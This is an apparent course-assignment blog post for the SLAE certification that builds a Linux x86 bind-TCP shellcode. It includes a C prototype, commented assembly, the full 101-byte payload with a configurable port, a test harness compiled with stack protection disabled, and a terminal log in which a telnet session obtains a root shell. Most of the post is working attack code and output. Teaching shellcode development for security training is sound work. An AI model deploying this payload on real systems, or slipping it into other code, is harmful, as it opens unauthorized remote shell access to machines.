As part of the SecurityTube SLAE course, I’m going to create a series of shellcodes and document the process. The first task is to create a simple shell bind tcp that spawns a shell on connect, with a port that is easily configurable. Firstly, I wrote out in C what I was hoping to achieve:

#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>

int main(void)
{
        int clientfd, sockfd;
        int dstport = 4444;
        int o = 1;
        struct sockaddr_in mysockaddr;

        sockfd = socket(AF_INET, SOCK_STREAM, 0);
        //setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &o, sizeof(o)); //a luxury we don't have space for

        mysockaddr.sin_family = AF_INET; //2
        mysockaddr.sin_port = htons(dstport);
        mysockaddr.sin_addr.s_addr = INADDR_ANY; //0

        bind(sockfd, (struct sockaddr *) &mysockaddr, sizeof(mysockaddr));

        listen(sockfd, 0);

        clientfd = accept(sockfd, NULL, NULL);

        dup2(clientfd, 0);
        dup2(clientfd, 1);
        dup2(clientfd, 2);

        execve("/bin/sh", NULL, NULL);
        return 0;
}


Now to attempt to reproduce this in assembly. We first need to find out the system call numbers for the calls that we are using:
dup2: 63 (0x42)
socketcall 102 (0x66): socket: 1
//socketcall 102: setsockopt: 14 (0xe)
socketcall 102: bind: 2
socketcall 102: listen: 4
socketcall 102: accept: 5
execve: 11

Here is my optimized assembly version:

; Title Linux Shell Bind TCP Shellcode v0.1
; Author npn <npn at iodigitalsec dot com>
; License http://creativecommons.org/licenses/by-sa/3.0/
; Legitimate use and research only
; This program is distributed in the hope that it will be useful,
; but WITHOUT ANY WARRANTY; without even the implied warranty of
; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 

global _start

section .text

_start:
xor ebx, ebx	;clear ebx
mul ebx		;clear eax
mov al, 0x66 	;syscall socketcall
push ebx	;tcp is 6 but 0 is fine
inc bl 		;ebx = 1; socket
push ebx	;sock_stream
push byte 0x2	;af_inet
mov ecx, esp	;move pointer to args to ecx
int 0x80	;socket()
mov edi,eax 	;int socketfd

push byte 0x66	;better than xor eax, eax
pop eax		;mov al, 0x66
pop ebx		;take the 2 off the stack for bind()
pop esi		;discard the 0x1 on the stack into esi so the top of the stack is now the 0x0
push word 0xf00d;portno
push word bx 	;2 = af_inet
mov ecx, esp	;pointer to args
push byte 0x10	;addrlen
push ecx	;const struct sockaddr *addr
push edi	;sockfd from socket
mov ecx, esp 	;pointer to args
int 0x80	;go

push byte 0x66
pop eax
add ebx, ebx	;2+2=4 listen
push byte 0x1	;backlog
push edi	;int sockfd
mov ecx, esp 	;pointer to args
int 0x80	;listen()

push byte 0x66
pop eax
inc ebx		;5 accept
xor edx, edx
push edx 	;0
push edx 	;null
push edi 	;sockfd
mov ecx, esp 	;pointer to args
int 0x80

xchg eax, ebx	;set ebx to sockfd, eax to 00000005
xor ecx, ecx
mov cl, 0x2	;loop counter
dup2:
	mov al, 0x3f ;dup2
	int 0x80
	dec ecx
	jns dup2

xor eax, eax
push eax
push 0x68732f2f ;"sh//"
push 0x6e69622f ;"nib/"
mov ebx, esp
push eax
mov edx, esp
push ebx
mov ecx, esp
mov al, 0xb	;execve
int 0x80

The shellcode is 101 bytes in length. To change the bind port number, edit the “\x0d\xf0” bytes below.

“\x31\xdb\xf7\xe3\xb0\x66\x53\xfe\xc3\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc7\x6a\x66\x58\x5b\x5e\x66\x68”
“\x0d\xf0”
“\x66\x53\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\x6a\x66\x58\x01\xdb\x6a\x01\x57\x89\xe1\xcd\x80\x6a”
“\x66\x58\x43\x31\xd2\x52\x52\x57\x89\xe1\xcd\x80\x93\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\x31”
“\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80”

We can confirm the code as follows:

#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>

int (*sc)();

char shellcode[] = \
"\x31\xdb\xf7\xe3\xb0\x66\x53\xfe\xc3\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc7\x6a\x66\x58\x5b\x5e\x66\x68"
"\x0d\xf0"
"\x66\x53\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\x6a\x66\x58\x01\xdb\x6a\x01\x57\x89\xe1\xcd\x80\x6a"
"\x66\x58\x43\x31\xd2\x52\x52\x57\x89\xe1\xcd\x80\x93\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\x31"
"\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";

int main(int argc, char **argv) {

    char *ptr = mmap(0, sizeof(shellcode),
            PROT_EXEC | PROT_WRITE | PROT_READ, MAP_ANON
            | MAP_PRIVATE, -1, 0);

    if (ptr == MAP_FAILED) {
        perror("mmap");
        exit(-1);
    }

    memcpy(ptr, shellcode, sizeof(shellcode));
    sc = (int(*)())ptr;

    (void)((void(*)())ptr)();
    printf("\n");

    return 0;
}
root@bt:~/pen/docs/securitytube/slae/code# gcc -z execstack -fno-stack-protector -D_FORTIFY_SOURCE shellcodetest.c -o shellcodetest
root@bt:~/pen/docs/securitytube/slae/code# ./shellcodetest &
[1] 31325
root@bt:~/pen/docs/securitytube/slae/code# lsof|grep shellcode|grep -i listen
shellcode 31325       root    3u     IPv4    1520366       0t0        TCP *:3568 (LISTEN)

root@bt:~/pen/docs/securitytube/slae/code# telnet 127.0.0.1 3568
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
id;
uid=0(root) gid=0(root) groups=0(root)
: command not found
uname -a;
Linux bt 3.2.6 #1 SMP Fri Feb 17 10:40:05 EST 2012 i686 GNU/Linux
: command not found
ls ~/;
Desktop
pen

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-158